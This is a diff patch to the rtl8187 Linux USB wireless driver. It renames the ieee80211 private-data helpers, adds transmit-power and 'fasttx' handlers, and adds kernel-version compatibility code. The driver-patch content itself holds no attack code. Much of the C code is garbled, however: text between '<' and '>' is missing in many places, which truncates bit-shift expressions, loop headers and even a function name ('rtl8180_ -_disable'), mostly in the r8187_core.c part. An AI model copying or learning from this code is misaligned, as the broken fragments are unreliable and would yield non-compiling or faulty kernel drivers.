+static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-01-30 17:39:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct 